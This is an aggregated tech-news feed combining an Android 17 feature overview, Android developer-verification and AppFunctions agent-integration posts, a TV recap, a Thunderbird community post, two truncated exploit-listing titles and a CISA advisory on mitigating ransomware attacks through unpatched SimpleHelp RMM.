App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking.

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.

The R8 Configuration Analyzer

LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods. The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStaticField methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
Standard SMS OTP: Delayed for all apps targeting SDK 37+.
Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Android developer verification: Building a safer ecosystem together

Sat, 25 Jul 2026 10:15:33 +0200

Posted by Matthew Forsythe, Director Product Management, Android App Safety

July 15, 2026: Updated Play Console requirements for Play developers

To meet Android developer verification and updated Play Console Requirements, Play developers must register their Play apps in Play Console. While 99% of apps on Play have been registered automatically, you should check your Play Console Home page to register any remaining apps by September 30, 2026 to avoid global removal from Google Play and ensure a seamless user installation experience.

You can also use Play Console to register apps you distribute outside of Google Play to ensure they can be installed on certified Android devices.

Last year, we introduced Android developer verification to strengthen ecosystem security and stop malicious actors from hiding behind anonymity to release harmful apps. Millions of apps have been registered since the verification launched in March, covering nearly all installs on Google Play and a large majority of installs from outside of Google Play. We appreciate the feedback and partnership from industry leaders, developers, and Android communities that helped us design this experience and drive strong adoption.

Initial launch across seven stores and four countries

These new developer verification protections will take effect on September 30, 2026, starting with users in Brazil, Indonesia, Singapore, and Thailand.

This rollout is an industry-wide effort to create a safer ecosystem. We will begin by verifying app installations from the following stores:

Google (Google Play)
Honor (HONOR App Market)
OPlus (OPPO App Market)
Samsung (Galaxy Store)
Transsion (Palm Store)
vivo (V-Appstore)
Xiaomi (GetApps)

Following this initial phase with our partners, we will expand these protections globally for all apps on certified Android devices in 2027.

Automate your workflow with new APIs

To further streamline app registration, we are launching a suite of developer-requested APIs to help you register apps in bulk or directly through your continuous integration and deployment (CI/CD) pipelines. The Android Developer ID Status API will let you check if a package name has already been registered, and the Android Developer Console API will let you register and manage package names directly within your development environment. Both APIs also support OAuth delegation, allowing third-party platforms, like Android app stores, to perform these operations natively on your behalf.

We'll launch these APIs over the next few months.

What’s next

June 2026: Starting this month, we are rolling out a new system service that will be automatically installed on most Android devices. This service will be used later this year to verify developer registration.
July 2026: We’ll launch the Android Developer ID Status API globally and begin early access for the Android Developer Console API. Early access also starts for limited distribution accounts on Android Developer Console. This new type of Android developer account is designed for students, hobbyists, and learners and lets you share your apps to up to 20 devices without a government-issued ID or a fee.
August 2026: Limited distribution accounts and the new Android Developer Console API will launch globally. We’ll also launch an advanced flow for installing apps from unverified developers, which includes security checkpoints to resist coercion scams, while allowing power users to maintain the ability to sideload apps from unverified developers.
September 30, 2026: App registration becomes required for participating stores in Brazil, Indonesia, Singapore, and Thailand. Unregistered apps can be sideloaded with Android Debug Bridge (adb) or advanced flow.
2027 and beyond: After incorporating the feedback from our partners, users, and developer community, we’ll expand the Android verification requirement globally.

Get started with Android developer verification

If you distribute apps in Brazil, Indonesia, Singapore, or Thailand via the stores listed above, please ensure your verification is complete by the September deadline.

Google Play developers: Most Play developers are already verified, and over 99% of their apps have been registered. Go to your Play Console Home page to see your app’s verification status, and register apps you want to continue distributing that weren't automatically registered.
Developers who distribute only outside of Google Play: Sign up for the Android Developer Console today to register your apps.

Students and hobbyists: Sign up here for early access to limited distribution accounts to help us refine the feature with your feedback.

Thank you for helping us build a safer Android ecosystem. Stay tuned for more updates as we approach September and the 2027 global rollout.

Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions

Sat, 25 Jul 2026 10:15:27 +0200

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

‘Agent Kim Reactivated’ Episode 9 Recap: Kim and His Team Fight Their Way Out

Sat, 25 Jul 2026 10:05:45 +0200

Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise. Release date: July 24, 2026 Streaming platform: Netflix Total episodes: 10 Finale release date: July 25, 2026 The Korean drama follows an ordinary office worker who reveals his past as a highly trained black-ops agent after his daughter disappears. The series stars So Ji-sub as Manager Kim, alongside Choi Dae-hoon, Yoon Kyung-ho, Joo Sang-wook, Son Na-eun, and Seo Su-min. Spoilers ahead for Agent Kim Reactivated Episode 9 Episode 9 begins with Kim’s latest operation failing to go according to plan. After being captured and tortured in the previous episode, Kim remains trapped between the National Special Missions Bureau, enemies from his past, and Kang-chan’s personal revenge campaign. Kim refuses to surrender because reaching Min-ji remains his only priority. He once again relies on the skills he spent years hiding, although the episode makes it clear that he cannot complete this mission alone. Han-su and Jin-cheol return to help their old friend, bringing their familiar mix of action and humour into the tense situation. Sang-a also becomes an important part of the escape plan. Together, the four characters attempt to break free before Kang-chan can carry out the next stage of his revenge. Kang-chan reveals another plan The biggest problem is that Kang-chan has already expected Kim to fight back. He keeps another secret weapon ready, forcing Kim and the other fathers to change their strategy while they are already under pressure. Kang-chan’s actions continue the conflict that began with the bullying involving Min-ji and Hye-ri. What started as a dispute between their daughters has grown into a violent battle shaped by pride, power, and revenge. The episode also brings the three fathers closer together. Han-su and Jin-cheol understand that Kim will risk his life for Min-ji, so they choose to remain beside him even when the chances of escaping become smaller. Where is the story heading? Episode 9 serves as the final setup before the conclusion. Kim has survived capture, reunited with Min-ji, and faced people connected to his hidden life, but Kang-chan still controls the final threat. The remaining conflict now depends on whether Kim can protect his daughter without losing the friends who followed him into danger. The extended finale airs on July 25 at 9:45 p.m. KST, five minutes earlier than the show’s usual broadcast time. What did you think about Kim, Han-su, Jin-cheol, and Sang-a’s escape mission in Agent Kim Reactivated Episode 9? Let us know what you expect from the finale in the comments.

Community Office Hours: Meet the New Support Team!

Sat, 25 Jul 2026 10:05:09 +0200

Author: Mozilla Thunderbird - Bewertung: 8x - Views:326

We've got some new faces on our growing support team! in this Community Office Hours, Heather and Monica talk to the team about the work they're doing to not only get ready for Thundermail, but improve the support experience for donors, the wider Thunderbird community, and our incredible support contributors.

Resources for Suggesting Features:
Thunderbird on Desktop and Mobile - https://connect.mozilla.org
Thundermail and Thunderbird Pro - https://ideas.tb.pro

Resources for Becoming a Community Support Contributor:
Join the Support Crew Matrix Channel - https://matrix.to/#/#tb-support-crew:mozilla.org
Learn How to Write Support Articles - https://blog.thunderbird.net/2024/07/video-learn-about-thunderbird-support-articles-and-how-to-contribute/
Learn How to Help Support Forum Users - https://blog.thunderbird.net/2024/08/video-how-to-answer-thunderbird-questions-on-mozilla-support/
Provide Feedback on Desktop Support Articles - https://github.com/thunderbird/knowledgebase-issues/issues
Provide Feedback on Android Support Articles - https://github.com/thunderbird/android-knowledgebase-issues/issues
Already a SUMO Contributor? Join the Contributor Discussion Forum - https://support.mozilla.org/forums/contributors/

Resources for Getting Help with Thunderbird:
Thunderbird for Android Support Channel (Matrix) - https://matrix.to/#/#tb-android:mozilla.org
Thunderbird Desktop Support Channel (Matrix) - https://matrix.to/#/#thunderbird:mozilla.org

Microsoft Excel LTSC 2024 Remote Code Execution

Sat, 25 Jul 2026 10:05:05 +0200

Topic: Microsoft Excel LTSC 2024 Remote Code Execution Risk: High Text:# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/16/2025 # Vendor: Micros...

aiohttp 3.9.1 Directory Traversal

Sat, 25 Jul 2026 10:04:29 +0200

Topic: aiohttp 3.9.1 Directory Traversal Risk: Medium Text:# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334) # Google Dork: N/A # Date: 2025-10-06 # Exploit Aut...

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
